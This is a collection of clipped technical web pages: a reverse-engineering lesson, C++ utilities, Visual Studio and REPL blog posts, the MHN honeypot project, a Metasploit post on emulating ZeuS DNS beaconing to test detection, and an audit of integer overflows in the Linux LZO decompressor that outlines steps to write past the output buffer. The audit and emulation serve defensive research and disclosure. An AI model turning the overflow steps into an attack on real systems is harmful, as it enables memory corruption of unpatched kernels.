they don't include any audio \(for any audio/video, please see the next
section\).

## Podcasts, Webcasts and Multimedia

We do not currently have any multimedia for this topic.

## Vendors/Tools

The following is just an alphabetized and categorized list of vendors and
products in this area \(including any free tools we are aware of\). It does
not imply endorsement, and is meant to assist you should you start looking for
tools. Please email if you have any additions or corrections.

### Vendors

  * Aladdin
  * Astaro
  * Axway \(Tumbleweed\)
  * Barracuda Networks
  * Cisco \(Ironport\)
  * Clearswift \(MIMESweeper\)
  * Cloudmark
  * CommTouch
  * Google \(Postini\)
  * Marshal8e6 \(Mail Marshal + 8e6 Technologies\)
  * McAfee \(IronMail, WebWasher, Secure Computing, CipherTrust\)
  * Proofpoint
  * SonicWall \(MailFrontier\)
  * Symantec \(BrightMail and MessageLabs\)
  * WebSense

  

# Reverse Engineering Mentoring Lesson 001 - Scratchpad Wiki Labs - Free wikis
from Wikia

**Created:**| _12/11/2010 11:19:18 AM_  
---|---  
**Updated:**| _12/11/2010 11:22:18 AM_  
**Author:**| __  
**Tags:**| _reversing Tutorials_  
  

# Reverse Engineering Mentoring Lesson 001

We will start a series of lessons were we compile some very simple C programs
and disassemble them.

Download these:

  * Borland's free C++ 5.5 compiler - https://downloads.embarcadero.com/item/24778 \(Free Registration Required\)
  * IDA Pro Freeware version 4.3 - http://www.hex-rays.com/idapro/idadownfreeware.htm

  * Install the compiler and the disassembler with the default options, but don't start the disassembler IDA Pro yet.

Compile this empty C program \(rem001.c\) with Borland's C++ compiler:

[code]

    main(int argc, char **argv)
    {
    }
    
    
[/code]

You will need the BIN directory of the Borland C++ compiler in your PATH:

[code]

    PATH=%PATH%;c:\Borland\BCC55\Bin
    bcc32 -Ic:\Borland\BCC55\Include -Lc:\Borland\BCC55\Lib rem001.c
    
    
[/code]

This will produce an executable rem001.exe

Start IDA Pro & click OK:

<img src='img/Temp2_6864.png' width='486' height='455' alt='Click OK' />

Accept the EULA:

<img src='img/Temp2_6869.png' width='509' height='509' alt='Accept the EULA'
/>

Select New:

<img src='img/Temp2_6866.png' width='329' height='181' alt='Select New' />

Open the rem001 executable:

<img src='img/Temp2_6868.png' width='563' height='419' alt='Open the rem001
executable' />

Click OK:

<img src='img/Temp2_6867.png' width='389' height='468' alt='Click OK' />

Wait for the end of the autoanalysis:

<img src='img/Temp2_6865.png' width='655' height='469' alt='Wait for the end
of the autoanalysis' />

  
IDA Pro should show you this, starting at .text:00401150:

[code]

    .text:00401150 ; int __cdecl main(int argc,const char **argv,const char *envp)
    .text:00401150 _main           proc near               ; DATA XREF: .data:004090D0
    .text:00401150
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    .text:00401150
    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 pop     ebp
    .text:00401154                 retn
    .text:00401154 _main           endp
    
    
[/code]

.text is the section of the PE file \(Portable Executable\) format where the
Borland compiler puts the code. Read here
\(http://en.wikipedia.org/wiki/Portable\_Executable\) about PE and also the
referenced MSDN articles.

The first line is a comment, indicated by ;

\_main is a label, used to reference the address of the main function,
00401150 near indicates that the referenced address is in the same section
\(.text\) argc, argv and endp are constants

The first assembly instruction that produces code is push ebp, it is one byte
large. This will pusb the ebp register on the stack. You should read about
assembly, look at the books referenced here
\(http://en.wikipedia.org/wiki/Assembly\_language\). For now, read about CPU
architecture, registers and the stack \[1\]. Pushing EBP on the stack saves it
for later use, so that EBP can be used for other things. Retrieving it from
the stack is done with pop ebp \(address 00401153\). mov ebp, esp will copy
the content of register esp to register ebp. esp is the stack pointer. and
retn terminates the main function

You'll allways find this code at the beginning of functions:

[code]

    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    
    
[/code]

It's the prologue, it saves and sets up the registers to start executing the
actual code

And this is the epilogue:

[code]

    .text:00401153                 pop     ebp
    .text:00401154                 retn
    
    
[/code]

You'll find it after the actual code, it restores the registers and returns.

There is no actual code to execute since our main function is empty.

# Uncoder.io - SOC Prime

**Created:**| _9/23/2018 8:46:30 AM_  
---|---  
**Updated:**| _9/23/2018 8:46:30 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools siem ioc_  
  

  

* * *
# Uncoder: One common language for cyber security

Uncoder.IO is the online translator for SIEM saved searches, filters, queries,
API requests, correlation and Sigma rules to help SOC Analysts, Threat Hunters
and SIEM Engineers. Serving as one common language for cyber security it
allows blue teams to break the limits of being dependent on single tool for
hunting and detecting threats and avoid technology lock-in. With easy, fast
and private UI you can translate the queries from one tool to another without
a need to access to SIEM environment and in a matter of just few seconds.

## Free and private

Uncoder.io is a free project and is developed with privacy in mind so it
collects no data on its users. If you like the uncoder.io and would like
translations to get more accurate please check the box “share my query to
improve translation”\! Otherwise your queries are not saved and only you can
see their inputs and outputs.

## Supported technologies

Uncoder.IO supports rules based on Sigma, ArcSight, Elastic, Splunk, QRadar,
Qualys IOC. Translations are supported via Sigma as intermediate language and
can be performed directly, for example, SPL to AQL to Elasticsearch. Some
Sigma rules are included into the Uncoder.IO as examples, please note that
they are licensed on GNU General Public License
https://github.com/Neo23x0/sigma/blob/master/LICENSE.GPL.txt.

For more examples and SIEM content, open and private Sigma rules as well as
direct mapping of content against MITRE ATT&CK you can subscribe to free
membership of SOC Prime Threat Detection Marketplace.

Sign Up to TDM Go to SOC Prime

Uncoder was created by SOC Prime team with the goal to speed up threat
detection and response globally. Uncoder.io is powered by Elasticsearch
https://github.com/elastic/elasticsearch and the Sigma project, the Generic
rule format for SIEM systems https://github.com/Neo23x0/sigma.

  

# Talc Releases

**Created:**| _10/21/2014 4:36:53 PM_  
---|---  
**Updated:**| _10/21/2014 4:36:53 PM_  
**Author:**| __  
**Tags:**| _asm_  
  

# Talc Releases

The current implementation of Typed Assembly Language, TALx86, is based on
Intel's IA32 architecture. This implementation extends the theoretical calculi
described in our papers and provides support for sums, arrays, references,
recursive types, subtyping, type tagging, and modules, among other features.
Our distributions contain our Objective Caml source code and executables for
the following:

<img src='img/Temp2_7864.gif' width='15' height='15' />| TAL tools including a
type-checker for the assembly language.  
---|---  
<img src='img/Temp2_7864.gif' width='15' height='15' />| Popcorn: A prototype
compiler for a safe C-like language.  
<img src='img/Temp2_7864.gif' width='15' height='15' />| SCHEME--: A prototype
compiler for a subset of the scheme language \(written in Popcorn\).  
The software is currently pre-alpha, contains little documentation, and comes
with absolutely no warranty. Use at your own risk\! All code is copyright by
Greg Morrisett, Karl Crary, Neal Glew, Dan Grossman, Richard Samuels, Fred
Smith, David Walker, Stephanie Weirich, and Steve Zdancewic. July, August,
September 1998, January, and July 1999. All rights reserved.

|  <img src='img/Temp2_7865.gif' alt='popcorna.jpg (86079 bytes)' />  
---|---  
Just for fun, we entered the ICFP'99 programming contest using TAL as our
programming language. Astonishingly, we were the only group to submit provably
safe code to the contest organizers. Our hats off to them and their courage
for running so many untrusted applications. Here is our entry.

|  |  **New** Linear TAL: A linearly typed variant of TAL that manages its own memory through linear alias tracking.   
  
Source available here.  
---|---|---

# CodeF00 \[ Coding \]

**Created:**| _9/1/2009 6:06:24 PM_  
---|---  
**Updated:**| _9/1/2009 6:06:32 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

#### Fixed Point Class

Fixed Point math class for c++. It supports all combinations which add up to a
native data types \(8.8/16.16/24.8/etc\). The template parameters are the
number of bits to use as the base type for both the integer and fractional
portions, invalid combinations will yield a compiler error, the current
implementation makes use of boost static assert to make this more readable. It
should be a nice drop in replacement for native float types. Here's an example
usage:

[code]

    typedef Fixed<16, 16> fixed;
    fixed f;
    
    
[/code]

will declare a 16.16 fixed point number. Operators are provided though the use
of boost::operators. I will eventually tweak it so that it will support larger
fixed point sizes with little to no performance degredation. Supplying larger
underlying types it should scale nicely.

#### Option Parser Class

Here is a c++ Option Parser. It was written using standard c++ so it should
compile on any standards compliant c++ compiler. It supports GNU style "double
dash" options which may have 0 or 1 operand. Any option may or may not be
required. It is fairly easy to use and pretty robust overall. It also has nice
--help support.

#### Rotation Operators

A coworker of mine complained that c++ doesn't define any ROL or ROR
operators, namely rotate left and rotate right. So here are two quick and
dirty template functions which do a little bit twiddling to get it done for
anyone who is interested. It is template based, so it should work for all
integer types, signed or unsigned. bit\_ops.h

#### Matrix Class

This Matrix class is the basis for the maps in my RPG engine. It is copyable,
resizable, and uses the c-like \[\] operators which are properly bound checked
and may throw std::out\_of\_range. For example,

[code]

    Matrix<int> m(2, 3);
    m[1][2] = 10;
    
    
[/code]

will create a matrix object with a width of 2 and a height of 3 and assign 10
the last valid element. The current version is row major only, but a future
version will support column major as well.

#### Binary Grep

I found myself wanting to be able to quickly search a large binary file for a
certain byte pattern the other day, only the be dissapointed and find nothing.
So bgrep was born. It's usage is simple, you specify one or more bytes on the
command line and it will search stdin for that byte pattern reporting the
results as it goes. For example:

[code]

    ./bgrep 01 02 03 04 < my_file
    
    
[/code]

This will search my\_file for the byte pattern 01 02 03 04 \(which of course
is 04030201 when viewed as a little-endian 32-bit value\). You may search for
patterns of any length which is 1 byte or more.

#### Properties

The concept of properties is something that C++ lacks, yet other languages
have. In general, they are not needed, but sometimes can be useful in making
code more clear. So I developed a template based solution to implementing
properties with the least amount of intrusive code in the class it's being
applied to. Check it out here. I've also provided an example of its usage.

#### uint128 Class

Because I wanted to support larger fixed point values, I decided to make a
uint128 class which acts like a normal unsigned integer type in pretty much
every way. All the basic mathematical operations are there and can be output
to a std::ostream as well. Check it out here.

# Rapid7 Community: Metasploit: Emulating ZeuS DNS Traffic with Metasploit
Framework

**Created:**| _6/21/2011 7:59:51 AM_  
---|---  
**Updated:**| _6/21/2011 8:00:01 AM_  
**Author:**| __  
**Tags:**| _botnets Metasploit Malware-analysis_  
  

## Emulating ZeuS DNS Traffic with Metasploit Framework

Gepostet von Marcus J. Carey am 13.06.2011 15:23:00

<img src='img/Temp2_6748.png' width='283' height='190' alt='zeus_domains.png'
/>

This is a follow-up post for vSploit - Virtualizing Intrusion & Exploitation
Attributes with Metasploit Framework about using Metasploit as a way to test
network infrastructure countermeasures and coverage. I mentioned obtaining
list of suspicious domains to use for testing organization's networking
intelligence. Simply put, let's create suspicious traffic to see how
organizations respond.

In that post and accompanying video, I used the Metasploit vSploit DNS
Beaconing module to emulate suspicious DNS traffic. One response I received
was, "Where can I get a list of suspicious domains?" Generally, the best place
is probably the SANS Institute Suspicious Domains page.

However, in this post I'll concentrate on Abuse.ch's ZeuS Tracker, which has
lists of suspicious IP Address and Domain Names. Out of the offered
blocklists, we'll be using the ZeuS domain one, which we can use as input for
the Metasploit vSploit DNS Beaconing Module. Download this list, remove
comments and whitespace, then save it as a text file. At the time of this post
the list contained 651 suspicious domains, which of course change from time to
time.

First, confirm that the suspicious domain list is in place:

<img src='img/Temp2_6749.png' width='310' height='31' alt='wc_domains.png' />

After starting up Metasploit "use auxiliary/vsploit/dns/dns\_beacon" and then
enter "set DOMAINS file:/tmp/domains.txt":

<img src='img/Temp2_6746.png' width='450' height='156'
alt='dns_beacon_setup.png' />

Now type "run" to start the queries:

<img src='img/Temp2_6747.png' width='450' height='198'
alt='dns_beacon_run.png' />

This is great to test your ability to monitor suspicious domain queries in
your organization, without actually infecting real hosts.

If you'd like to learn more about the new vSploit modules to test your network
security infrastructure, join me in tomorrow's webinar Identifying
Infrastructure Blindspots with Metasploit Framework for a live demo.

# Debugging Optimized Code–New in Visual Studio 2012 | Random ASCII
**Created:**| _9/13/2013 9:25:11 AM_  
---|---  
**Updated:**| _9/13/2013 9:25:11 AM_  
**Author:**| __  
**Tags:**| _Debugging optimisation visualstudio_  
  

# Debugging Optimized Code–New in Visual Studio 2012****

For years \(decades**?**\) one of the most requested features in Visual C++
has been better support for debugging optimized code**.** Visual Studio’s
debug information is so limited that in a program that consists just of
_main\(argc, argv\)_ the VS debugger can’t accurately display _argc_ and
_argv_ in an optimized build**.** All I wanted was for Visual Studio to not
lie to me about the value of local variables and function parameters in
optimized builds**.**

It turns out that Microsoft shipped this feature in Visual Studio 2012, but
forgot to tell anyone**.** This could be the most important improvement to
Visual Studio in years but it’s been almost top-secret**.**

Here’s what Visual Studio 2010 looks like by default when you debug the
simplest possible project with the default release-build optimizations**.** I
don’t understand why VS has such trouble with this program given that _argc_
and _argv_ are quite plainly sitting on the stack**.** I don’t think that
_argc_ is really 0x00a31330**.**

<img src='img/Temp2_2031.png' alt='image' />

> Note: looking at the stack shows that the debugger is looking for the
> variables four bytes away from where they are located**.** So close…<img
> src='img/Temp2_2032.png' width='346' height='73' alt='image' />
Before somebody fires up Visual Studio 2012 and tells me that it lies just as
much as previous versions let me clarify my claim**.** Visual Studio 2012
ships with support for optimized debugging, but this support is off by
default**.**

For reasons that I can only speculate about \(perhaps the feature wasn’t
considered done**?**\) the compiler support for this feature is hidden behind
a cryptic and undocumented compiler command line switch – /d2Zi+**.** The
default release builds of VS 2012 behave identically to VS 2010, but once you
add the magic command-line switch and rebuild then things start to look a lot
more sensible:

<img src='img/Temp2_2033.png' alt='image' />

If your Internet attention span has been exceeded already then feel free to
stop now**.** Just remember to upgrade to Visual Studio 2012 and add /d2Zi+ to
your compiler command line**.** The next time you are looking at a crash dump
from a customer, a release-only bug, or you just happen to be debugging
optimized code, you’ll thank yourself for doing this preparatory work**.**

This feature is important enough to justify upgrading Visual Studio**.** I
wish I’d realized it was there six months ago**.** Better late than never.

Optimized debugging of main\(\) is not particularly compelling, but the
feature works well beyond that**.** Here is a shot of the locals window while
debugging Fractal eXtreme  after doing the upgrade and /d2Zi+ dance**.** The
displayed values are now accurate where before they were wrong, and the
debugger now knows when variables have been optimized away:

<img src='img/Temp2_2030.png' alt='clip_image002' />

> Note that there is a difference between “optimized away” and “out of
> scope”**.** In an optimized build a variable may cease to exist prior to the
> end of its scope**.** This would be a flagrant violation of the C++ standard
> but the “as-if” rule  permits this vital optimization**.**
VS 2010 together with windbg had some modest support for this capability, but
it really didn’t work well**.** This is much better.

## Details schmetails****

The /d2Zi+ switch has actually been mentioned previously, by Sasha Goldstein
in 2011  and by Andrew Hall in 2013 **.** It’s not an officially documented
flag, so it could go away at any moment, but hey, carpe diem, and debug
optimized code while the iron is hot**.** I’m assuming that it will become
more official looking in some future release – I don’t think they’ll actually
take it away**.**

Sasha’s 2011 article talks about how the enhanced debug information tracks
variables better but suggests that the built-in C++ debugger in Visual Studio
doesn’t support the enhanced information \(update: because at the time it
didn’t\)**.** That’s why I missed this crucial feature initially, despite
seeing Sasha’s blog post**.** You don’t need to use windbg – the default VC++
debugger works fine**.**

Andrew Hall’s post points to some other capabilities of /d2Zi+ – it appears to
record inlining information that the profiler can use to attribute time to
functions**.** That’s pretty cool, but doesn’t seem to be supported in VS
2012**.**

TANSTAAFL so there’s gotta be a catch**.** The optimized debugging feature
works by storing additional information in the .pdb files – presumably
tracking when variables move to a new memory address or register, and when
they disappear**.** This extra information takes space so you should expect
that your PDB files will get larger when compiling with /d2Zi+**.** I haven’t
done exhaustive tests, but a quick analysis of eight PDBs showed an average
size increase of… honestly it was so small that I couldn’t separate it from
the noise**.** Your mileage may vary.

## Upgrading****

Upgrading Fractal eXtreme  was incredibly trivial**.** I loaded the VS 2010
solution file into VS 2012 and said yes when it asked if I wanted to
upgrade**.** The code compiled with no errors or warnings**.** After verifying
that release-mode debugging was still a poor experience I added /d2Zi+**.** As
if by magic I started being able to see what was going on**.** Optimized code
is still weird – inlining, constant propagation, and code rearrangement are
essential complexities of this task – but at least the accidental complexity
is now mostly removed**.**

Upgrading large projects at work is much more complicated, but as far as
upgrades go it’s really not bad**.** I’m quite glad that they kept the project
file format consistent**.** The diffs are quite small**.**

It’s worth pointing out that while Visual Studio 2012 will upgrade the
.vcxproj files, it does not modify the .sln files**.** This means that when
you double-click the .sln file it still opens in Visual Studio 2010, which
doesn’t know how to use the v110 \(VS 2012\) toolset**.** You can fix this by
opening the .sln file and changing the third line from “\# Visual Studio 2010”
to “\# Visual Studio 2012”**.** That’s it**.**

## Windows XP****

The default Visual Studio 2012 toolset \(v110\) generates code that won’t run
on Windows XP**.** You have to use the v110\_xp toolset for that, after
downloading the appropriate VS 2012 update**.** Alas, the v110\_xp toolset
doesn’t support /analyze, so I’ve configured our project creation system to
select the right toolset for the job**.** Be sure to automate this boring task
**.**

## gdb and gcc****

For the record, yes, I am aware that gcc/gdb already offers a comparable
experience**.** As a Windows developer it’s good to see Visual Studio catching
up**.** And I do like having the registers/locals/disassembly/memory/call-
stack windows updating as I step through the code**.**

## There goes the neighborhood****

I’m quite capable of dropping down to assembly language to see what is really
going on**.** There is something satisfying about tracking the flow of
execution and data while you’re on the trail of a cool bug**.**

But my god, what a waste of time**.** Tracking bugs this way is inefficient,
and it reduces the pool of developers who are qualified to look at crash dumps
coming in from customers**.** I’d fear being put out of work by these newly
sophisticated computers, but somehow I think I’ll find something else to work
on**.**

## VC++ improvement requests****

Earlier week I asked people to vote on the two VC++ improvements that I think
are most important **.** I would have included optimized debugging on the list
except that I found out last week that it was already supported**.** So, no
point putting it on the list. But, it’s not too late to vote for getting the
most valuable /analyze warnings in the regular compile **.**

Reddit discussion is here **.**

About these ads

****

# Interactive Coding with C\# and F\# REPLs \(ScriptCS or the Visual Studio
Interactive Window\) - Scott Hanselman

**Created:**| _1/29/2016 9:23:32 PM_  
---|---  
**Updated:**| _1/29/2016 9:23:32 PM_  
**Author:**| __  
**Tags:**| __  
  
  

## Interactive Coding with C\# and F\# REPLs \(ScriptCS or the Visual Studio
Interactive Window\)

Januar 29, '16 Kommentare \[0\] Posted in Open Source

REPLs are great\! REPL stands for Read–eval–print loop and is pronounced
"REP-L" quickly, like "battle." Lots of languages and environments have
interactive coding and REPLS at their heart and have for years. C\# and F\# do
also, but a lot of people don't realize there are REPLs available\!

### ScriptCS

In 2013 once the Roslyn open source C\# compiler started to mature, Glenn
Block and many friends made ScriptCS. It now lives at http://scriptcs.net and
has a great GitHub and active community. The Mono project has also had a REPL
for a very long time.

<img src='img/Temp2_4488.png' width='519' height='483' alt='The C# Interactive
Shell CSI' />

You can install ScriptCS in minutes with the Chocolatey Package Manager or
OneGet with Chocolatey on Windows 10. In the screenshot above I'm writing code
at the command prompt, making mistakes, and fixing them. It's a great way to
learn and play with C\#, but it's also VERY powerful. You can create C\#
Scripts \(.csx files\) kind of like PowerShell but it's just C\#\!

### Visual Studio's REPLs - CSI and FSI

The Visual Studio team meets/met with the ScriptCS folks in the open and even
publishes their meeting notes on GitHub\! In May of last year they got
ScriptCS working in OmniSharp and Visual Studio Code, which is amazing.
There's a great set of directions here on how to set up ScriptCS in Visual
Studio Code and the code is moving fast on GitHub.

Visual Studio 2015 Update 1 has REPLs within the IDE itself. If you have
Visual Studio 2015, make sure you've updated to Update 1. If you don't have
VS, you can get the free Visual Studio Community at
http://visualstudio.com/free.

VS ships a command line RELP called "CSI" that you can use to run ".csx"
scripts as well. Turns out the source code for CSI is basically nothing\!
Check it out at http://source.roslyn.io/\#csi/Csi.cs and you can see how easy
it would be for you to add scripting \(interactive or otherwise\) to your own
app.

<img src='img/Temp2_4490.png' width='831' height='685' alt='C# Interactive
REPL inside Visual Studio' />

There's a great C\# Interactive Walkthrough by Kasey Uhlenhuth that you should
take a moment and play with. She's the Program Manager on this feature and
also has a great video on Channel 9 on how to use the C\# Interactive REPL.

<img src='img/Temp2_4487.png' width='600' height='336' alt='Introducing the
Visual Studio 'C# REPL'' />

Of course, F\# has always had a REPL called "fsi.exe" that also ships with VS.
You may have this on your PATH and not realize it, in fact. F\# script files
are ".fsx" so there's a nice symmetry with scripting and REPLs available in
both languages, either in VS itself, or at the command line.

<img src='img/Temp2_4486.png' width='808' height='550' alt='The F# Interactive
Shell' />

F\#'s REPL is also inside VS, right here next to the C\# Interactive Window.

<img src='img/Temp2_4485.png' width='688' height='481' alt='C# Interactive and
F# Interactive in VS' />

These are all great options for learning and exploring code in a more
interactive way than the traditional "write, compile, wait, run" that so many
of us are used to.

Let's hear in the comments how \(or if\!\) you're using REPLs like these two
make your programming life better.

* * *
**Sponsor:** Big thanks to Wiwet for sponsoring the feed this week. Build
responsive ASP.NET web appsquickly and easily using C\# or VB for any device
in 1 minute. Wiwet ASP.Net templates are integrated into Visual Studio for
ease of use. Get them now at Wiwet.com.

« Review: littleBits Gadgets and Gizmos el... | Blog Home | 
#### About Scott

Scott Hanselman is a former professor, former Chief Architect in finance, now
speaker, consultant, father, diabetic, and Microsoft employee. He is a failed
stand-up comic, a cornrower, and a book author.

<img src='img/Temp2_4489.png' width='16' height='16' alt='facebook' /> <img
src='img/Temp2_4484.png' width='16' height='16' alt='twitter' /> <img
src='img/Temp2_4483.png' width='16' height='16' alt='g+' /> <img
src='img/Temp2_4491.png' width='16' height='16' alt='subscribe' />  
About Newsletter

Kommentare \[0\]

Share on: Twitter, Facebook, Google+ or use the Permalink

  

# LZO, on integer overflows and auditing - Lekkertech

**Created:**| _7/3/2014 12:28:22 PM_  
---|---  
**Updated:**| _7/3/2014 12:28:22 PM_  
**Author:**| __  
**Tags:**| _Linux network-security_  
  

# LZO, on integer overflows and auditing

Jul 2nd, 2014

Despite years of open source fans claiming that “many eyes make all bugs
shallow” there are far too few security researchers actually auditing these
projects. And even fewer making their work public. That’s why it’s nice to see
a post like this that describes an interesting bug. On June 26th Lab Mouse
Security published a nice write up of a 20 year old integer overflow
vulnerability in a widely used LZO implementation written by Markus Oberhumer.

When I see something like this and a patch is released, I like to investigate
the code to look for additional issues. Auditing source code for
vulnerabilitis is hard and bugs like to travel in groups. Even professional
auditors miss vulnerabilities and trying to prove that there are no security
vulnerabilities in a certain piece of code is essentially impossible.

First: The patched Linux version is still vulnerable to integer overflows. The
bug\(s\) still require that about 16Mb is decompressed at once, which is
hopefully is uncommon. As a result of the integer overflow it is possible to
write data beyond the output buffer.

We will use the source code of the current \(as of this blog post\) version in
the Linux tree. This is the version that was patched for the reported integer
overflows.

We are only focusing on out of bound writes into `out`. And only on issues
that allow us to write behind the buffer. Lab Mouse Security detailed how the
overflow can be used to write before `out`, but I’ll only look at writing
beyond `out`. In the following code `op` is the current output pointer end
`op_end` is the end of the output buffer.

When reading the code it becomes clear that the `HAVE_OP` macro on line 26 is
the primary defense against writing outside of the output buffer `out`.

[code]

    26  #define HAVE_OP(t, x)                                   \
    27          (((size_t)(op_end - op) >= (size_t)(t + x)) &&  \
    28          (((t + x) >= t) && ((t + x) >= x)))
    
[/code]

Analyzing this macro one can see several ways this check can be bypassed.

  1. If `op` is ever higher than `op_end` `(size_t)(op_end - op)` will be a big value effectively negating any further bounds checks and allowing writing beyond the `out` buffer.
  2. There are no checks to check that `op` does not point before the output buffer `out`. This post will not investigate this part further.
  3. The checks for overflow on line 28 are, depending on the compiler and settings, incorrect, C standard compliant compilers are free to remove both checks. This post however is also not about this 3rd issue. If you are interested there is some info from LLVM and GCC. Linus Torvalds indicated that the Linux kernel is compiled with -fno-strict-overflow which prevents the optimization.

Lets focus on just the first issue. Are there any places in the code where
`op` can be increased beyond `op_end`?

First example at line 103:

[code]

    103             {
    104                 NEED_OP(t, 0);
    105                 NEED_IP(t, 3);
    106                 do {
    107                     *op++ = *ip++;
    108                 } while (--t > 0);
    109             }
    
[/code]

`NEED_OP` is a simple wrapper around `HAVE_OP`:

[code]

    36  #define NEED_OP(t, x)                                   \
    37          do {                                            \
    38                  if (!HAVE_OP(t, x))                     \
    39                          goto output_overrun;            \
    40          } while (0)
    
[/code]

As we can see from the macros above `NEED_OP(t, 0)` will succeed without error
when t = 0 even if `op_end` and `op` point to the same location. Once this
check is passed `op` will be increased inside the while loop. After the
increase `op` points past `op_end` bypassing further checks in `HAVE_OP`.

The question then becomes, can we get `t` to be 0. If we look a little above
this code, at the while loop at line 78 we see:

[code]

    77                      if (unlikely(t == 0)) {
    78                                  while (unlikely(*ip == 0)) {
    79                                          t += 255;
    80                                          ip++;
    81                                          NEED_IP(1, 0);
    82                                  }
    83                                  t += 15 + *ip++;
    84                          }
    85                          t + 3;
    
[/code]

We find a familiar sight. A nice integer overflow. By having a lot of 0’s
inside the input `t` keep being increased. We can now increase `t` to
`0xfffffffd`. The addition of 3 in line 85 will increase the value of `t` to
`0x100000000`, which requires 33 bits to store. On 32bit systems `t` only has
room for 32bit and the extra bit is simply ignored and not stored. As a result
by having around 16 million 0 bytes it is possible to raise `t` sufficiently
high that the addition of 3 can wrap `t` around to 0.

If we go back to the actual while loop in line 103 we see that this example is
not very usefull. The while loop will ‘decrease’ `t` to `0xffffffff` and keep
looping and writing memory for a very long time, likely triggering all sorts
of traps or segfaults, making exploitation inconvenient and depending on the
actual target impossible.

Let’s continue auditing.

Second example is at line 207 in the middle of the following code:

[code]

    203                 unsigned char *oe = op + t;
    204                 NEED_OP(t, 0);
    205                 op[0] = m_pos[0];
    206                 op[1] = m_pos[1];
    207                 op += 2;
    208                 m_pos += 2;
    209                 do {
    210                         *op++ = *m_pos++;
    211                 } while (op < oe);
    
[/code]

Once again this operation is protected by a `NEED_OP(t, 0)`. But in this case
`op` is increased by at least 3. Once by 2 on line 207 and once by 1 on line
210. As long as `op` points at most 2 bytes before `op_end` this will
increased `op` beyond `op_end` allowing writing beyond the `out` buffer. For
this scenario to happen we need to pass the `NEED_OP` check at line 204. Given
that `op_end - op` has be at most 2 `t` has to either 2, 1, or 0.

`t` can be controlled in many location in the code. Tracing where `t` comes
from and checking if it can be 0, 1 or 2 is a short auditing exercise. Most of
the code ensures that `t` will be at least 3. At line 139 however we find a
familiar while loop:

[code]

    138                 if (unlikely(t == 2)) {
    139                         while (unlikely(*ip == 0)) {
    140                                 t += 255;
    141                                 ip++;
    142                                 NEED_IP(1, 0);
    143                         }
    144                         t += 31 + *ip++;
    145                         NEED_IP(2, 0);
    146                 }
    
[/code]

An integer overflow can once again occur while parsing `t`, once again
requiring at least around 16Mb of data inside the input buffer `in`.

Now that we have found a path that allows increase op beyond `op_end` we can
see what is required:

  1. Fill `out` with `out_len - 1` bytes, ensuring that `op_end - op` is 1.
  2. Using the integer wrap in the while loop at line 139 to set `t` to 0, 1 or 2.
  3. Trigger the increase of `op` beyond `op_end`.
  4. `op` will now point beyond `op_end` bypassing all the checks in `HAVE_OP` and allowing writing beyond `out`.

At this point the limit of data we can write beyond the end of `out` is
limited by the room in the input buffer. Since LZO is a compression algorithm
few bytes inside the input buffer can result in many output bytes.

Lesson we can learn from this:

  * Though developers find and fix a lot of security vulnerabilities during development, some tricky vulnerabilities can stick around for a long time without a dedicated auditing effort.
  * Just because the code is included in a lot of projects and in a lot of code bases does not imply that it has had sufficient \(if any\) code audits to assure a level of security.
  * And just because an auditor has audited the code and found some bugs, doesn’t mean they found all of them.
  * Auditing is hard and it takes time to do well. Finding one bug is only a warning. Based on these bugs I doubt anyone interested in disclosing bugs ever audited this code for security vulnerabilities before Lab Mouse Security did.
  * Without hiring skilled auditor working on the defense side, we can be sure many security bugs will never be patched. We cannot rely on the free evenings of professional auditors and haphazard audits by volunteers of varying skill levels to secure critical infrastructure like the Linux kernel or OpenSSL.
  * Not fixing the root cause, in this case the integer overflow options for `t`, means that you have to very carefully audit the code to make sure the root cause does not lead to other unwanted behaviour.
  * With that said, the LZO code is relatively small so if you have an afternoon, take a look and let us know what you find.

I do not have enough free time to go over all the different version of LZO out
there, but a quick look at the minilzo implementation from Markus Oberhumer
indicates that it added a proper check to prevent `t` from overflowing. If you
would like to further limit my free time I can be reached at
info@lekkertech.net

Patch suggestions:

  1. Fix the incorrect overflow checks in `HAVE_OP` and `HAVE_IP`, code that is used in this many locations will likely be used with optimizing compilers that just remove those checks.
  2. Fix the integer overflows when calculating `t`.
  3. Have the code reviewed by code auditors trained in finding security vulnerabilities.

Simple patch for the Linux Kernel.

As an exercise:

Spot the other places `op` can be increased beyond `op_buf` in the Linux LZO
version.

There is another check in the code `NEED_IP` which tries to make sure that no
data is read from beyond the input buffer. This check too can be bypassed if
`ip` ever passes beyond `ip_end` determining whether this is possible in the
Linux LZO code is another good exercise.

Posted by Willem Pinckaers Jul 2nd, 2014

Tweet

# mhn

**Created:**| _6/23/2014 9:46:17 AM_  
---|---  
**Updated:**| _6/23/2014 9:46:17 AM_  
**Author:**| __  
**Tags:**| _honeypot network-security_  
  

# mhn

Tweet Vote on Hacker News

###  Honeypots have not achieved wide adoption for cyber defense.

While honeypot software is fairly mature and can provide high quality threat
intelligence for organizations, they have never received wide adoption. We
think the reason is that honeypots have been too complicated to deploy and
manage at scale.

### The Modern Honey Network project makes deploying and managing secure
honeypots extremely simple.

From the secure deployment to the aggregation of thousands of events MHN
provides enteprise grade management of the most current open source honeypot
software. MHN is completely free open source software which supports external
and internal honeypot deployments at a large and distributed scale. MHN uses
the HPFeeds standard and low-interaction honeypots to keep effectiveness and
security at enterprise grade levels. MHN provides full REST API out of the box
and we are making CEF and STIX support available soon for direct SIEM
integration.

### Screen Shots

<img src='img/Temp2_10454.png' alt='MHN Dashboard' />

<img src='img/Temp2_10455.png' alt='MHN Architecture' />

Watch the video to help get started:

Or get right to the good stuff:

[code]

    $ cd /opt/
    $ git clone https://github.com/threatstream/mhn.git
    $ cd mhn/scripts/
    $ sudo ./install_hpfeeds.sh
    $ sudo ./install_mnemosyne.sh
    $ sudo ./install_honeymap.sh
    $ sudo ./install_mhnserver.sh
    
[/code]

###  Current supported honeypots

  * Snort
  * Dionaea
  * Conpot
  * Kippo
  * Easily add new ones\!

###  Support or Contact

MHN is an open source project brought to you by the passionate folks at
ThreatStream. We will lend a hand if needed, find us at: mhn@threatstream.com

Tweet Vote on Hacker News

# TDP x-Ray Lite Hard Drive Manager

**Created:**| _11/21/2011 9:18:21 AM_  
---|---  
**Updated:**| _11/21/2011 9:18:21 AM_  
**Author:**| __  
**Tags:**| _windows_  
  

